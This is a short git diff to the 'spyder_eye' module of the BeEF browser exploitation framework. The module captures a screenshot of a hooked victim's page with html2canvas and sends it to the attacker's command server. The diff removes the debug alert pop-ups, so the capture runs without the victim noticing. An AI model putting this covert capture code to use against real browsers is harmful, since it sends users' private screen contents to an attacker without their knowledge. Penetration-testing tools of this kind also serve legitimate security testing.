diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index a36f2b87a..f37517fbd 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -11,13 +11,10 @@ beef.execute(function() { html2canvas(document.body).then(function(canvas) { var d = canvas.toDataURL('image/png'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d ); - ret = true; - alert('Did it.'); }); } catch (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message); - alert('FAILED.'); } };